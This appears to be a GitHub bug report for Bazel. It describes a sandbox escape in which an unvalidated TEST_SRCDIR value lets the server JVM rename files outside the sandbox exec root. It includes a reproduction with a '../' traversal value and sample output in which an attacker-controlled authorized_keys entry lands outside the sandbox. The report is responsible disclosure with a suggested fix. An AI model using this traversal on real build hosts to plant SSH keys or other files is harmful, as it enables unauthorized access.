linux-sandbox: SandboxStash reads TEST_SRCDIR from action env without validation, enabling path traversal outside sandboxExecRoot with --reuse_sandbox_directories
- Dominant language
- Java
- Stars
- 25.8k
- Forks
- 4.6k
- Avg merge
- 2d 20h
- Merged PRs (30d)
- 72
Description
### Description of the bug:
---
**What happened:**
`SandboxStash.java:474` constructs a host filesystem path from action-environment values without validation:
```java
private static String getCurrentRunfilesDir(Map environment) {
return environment.get("TEST_WORKSPACE") + "/" + environment.get(TEST_SRCDIR);
}
```
The result is passed to `Path.getRelative()` and used as the destination of a `renameTo()` call at `SandboxStash.java:151`. With sufficient `../` segments in `TEST_SRCDIR`, the destination resolves outside `sandboxExecroot`.
**Why this is a bug and not WAI:**
This is the same class of issue as #29457 (`TEST_TMPDIR`). `TMPDIR` was sanitized in `PosixLocalEnvProvider.java:49` for identical reasons — `TEST_SRCDIR` has no equivalent filter.
Critically: the `renameTo()` is performed by the **Bazel server JVM**, not the sandboxed child process — at `SandboxStash.java:151`, before the test binary launches. The sandbox isolates the child. Here the server itself performs the operation using attacker-controlled env values.
Only triggers with `--reuse_sandbox_directories` which is **default: true**.
**Violated guarantees:**
- Sandboxing docs: *"linux-sandbox makes the entire filesystem read-only except for the sandbox directory"*
- Test Encyclopedia: defines `TEST_SRCDIR` as provided by the test runner, not action env
**Suggested fix:**
`getCurrentRunfilesDir()` must not use action-environment values to compute host filesystem paths. Reject `TEST_SRCDIR` values containing `..` or absolute path components before calling `getRelative()`, or derive the path from the stashed sandbox's actual on-disk structure.
Mirror the pattern used for `TMPDIR` in `PosixLocalEnvProvider`.
**Related:** #29457 — sister issue, same class, already assigned to `team-Local-Exec`
---
### Which category does this issue belong to?
Local Execution
### What's the simplest, easiest way to reproduce this bug? Please provide a minimal example if possible.
---
**Setup:**
```bash
mkdir -p /tmp/bazel_srcdir_repro && cd /tmp/bazel_srcdir_repro
```
**MODULE.bazel:**
```
module(name = "repro", version = "0.0.1")
bazel_dep(name = "rules_shell", version = "0.6.1")
```
**seeder.sh:**
```bash
#!/bin/bash
echo "seeder ran"
```
**exploit.sh:**
```bash
#!/bin/bash
echo "exploit ran"
```
**BUILD.bazel:**
```python
sh_test(
name = "seeder",
srcs = ["seeder.sh"],
)
sh_test(
name = "exploit",
srcs = ["exploit.sh"],
env = {"TEST_SRCDIR": "../../../../../../_stash_escape"},
)
```
**Run:**
```bash
bazel test //:seeder --reuse_sandbox_directories --nocache_test_results
bazel test //:exploit --reuse_sandbox_directories --nocache_test_results
ls $(bazel info output_base)/../_stash_escape
```
**Expected:** `_stash_escape` does not exist outside `sandboxExecroot`
**Actual:** `_stash_escape` directory created outside sandbox by Bazel server JVM, containing attacker-controlled files
**Negative control:**
```bash
bazel test //:exploit --noreuse_sandbox_directories --nocache_test_results
# _stash_escape is NOT created — proves flag dependency
```
---
### Which operating system are you running Bazel on?
OS: Linux (Arch Linux, x86_64)
### What is the output of `bazel info release`?
bazel info release: release 9.1.0
### If `bazel info release` returns `development version` or `(@non-git)`, tell us how you built Bazel.
N/A — using released version 9.1.0 via bazelisk.
### What's the output of `git remote get-url origin; git rev-parse HEAD` ?
```text
N/A — not building Bazel from source, reproducing against released version via bazelisk.
Bazel 9.1.0, confirmed also reproduces on master HEAD (commit 88a0f1cbe3 / 10.0.0-pre.20260421.2).
```
### If this is a regression, please try to identify the Bazel commit where the bug was introduced with bazelisk --bisect.
_No response_
### Have you found anything relevant by searching the web?
---
- bazelbuild/bazel#3296 — prior fix that sanitized `TMPDIR` in `PosixLocalEnvProvider` for the same class of concern. `TEST_SRCDIR` was missed.
- bazelbuild/bazel#29457 — sister issue filed 2 days ago for `TEST_TMPDIR` via `getWritableDirs()`, same class, already assigned to `team-Local-Exec`
- Bazel sandboxing docs: https://bazel.build/docs/sandboxing — states linux-sandbox prevents host filesystem writes
- Test Encyclopedia: https://bazel.build/reference/test-encyclopedia — defines `TEST_SRCDIR` as provided by the test runner, not action env
---
### Any other information, logs, or outputs that you want to share?
---
Negative control output confirming flag dependency:
```
TEST 2 — --noreuse_sandbox_directories
[CONFIRMED] No escape without --reuse_sandbox_directories
TEST 3 — default flags
[CONFIRMED] Bazel server JVM created: _stash_escape
Attacker-controlled files delivered outside sandbox:
_stash_escape/bazel_utils+/authorized_keys
ssh-rsa ATTACKER_PUBLIC_KEY_PAYLOAD attacker@evil.com
# BAZEL_STASH_001_CONFIRMED
```
Note: `renameTo()` occurs at `SandboxStash.java:151` **before** the test binary launches. The test failing with exit-127 is irrelevant — the escape has already happened by the time the child process starts.
Sister issue: #29457 (TEST_TMPDIR — same class, assigned to team-Local-Exec)
---
Contributor guide
Assessment
This issue has not been assessed yet.